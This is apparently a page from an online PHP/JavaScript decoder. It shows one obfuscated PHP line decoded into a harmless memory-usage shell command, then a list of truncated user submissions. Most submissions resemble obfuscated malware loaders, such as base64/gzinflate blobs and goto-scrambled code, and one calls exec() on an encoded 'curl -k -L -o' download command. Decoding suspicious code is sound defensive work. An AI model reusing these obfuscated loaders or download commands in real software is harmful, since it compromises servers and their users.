Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

A4b86455bd620a0f3b77e983c3295115: $D8dbdb2118a7a93a0eeb04fc548f2af4["\164\157\164\141\154\137\x6d\x65\x6d\137\146\x72\x65\145"]=intval(shell_exec("\x2f\x75\x73\162\57\x62\x69\x6e\57\146\162\x65\145\40\55\164\153\40\x7c\x20\147\x72\145\x70\40\x2d\151\x20\115\x65\x6d\72\x20\174\x20\141\x77\x6b\x20\x27\173\160\x72\x69\156\x74\40\x24\x34\53\x24\66\53\44\67\x7d\x27"));goto df62c9fd5763305cab62d4cb7d58f4db;

Decrypted code:

	A4b86455bd620a0f3b77e983c3295115: $D8dbdb2118a7a93a0eeb04fc548f2af4["total_mem_free"]=intval(shell_exec("/usr/bin/free -tk | grep -i Mem: | awk '{
	print $4+$6+$7
}
'"));
goto df62c9fd5763305cab62d4cb7d58f4db;

Recent submissions:

************** SITELOCK RQ WARNING file too large only showing beginning *************** ... (function anonymous(_L55c0Y) { (function(_VjC2kYX5dG, _PDJ65iK, _KiC071v9, _ZWZfo2Yg,... <?php function vcrz($dKU) { $dKU=gzinflate(base64_decode($dKU)); for($i=0;$i<strlen($... <?php $R10TXER = "Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNzC4pSi4upI5yUWJxqZhKfk... <?php $_F=__FILE__;$_X='Pz48P3BocCAkX0Y9X19GSUxFX187JF9YPSdQenU4UG9CMmNDQWtYMFk5WDY5R1NVeE... <?php goto tQJas; tQJas: exec("\143\x75\x72\154\x20\55\153\40\55\114\x20\55\x6f\x20\67\... <?php goto Arqg8; dHQME: class QCV0V { function V9bXO($h2CDY, $aFFMh) { $gTbUz = $this->... return({Vp=bit32.countrz,k=function(w,w)(w)[0X1__0]=({});end,H=function(w,B,_,A)local W;if... <?php goto e2Drc; CzCL6: require_once "\x2e\x2e\x2f\x2e\x2e\57\x2e\56\x2f\x73\x79\x73\x7... <?php return sg_load('8E37EAD44CDFF402AAQAAAAhAAAABMgAAACABAAAAAAAAAD/t8DfFprnDsJPqn2nyxC...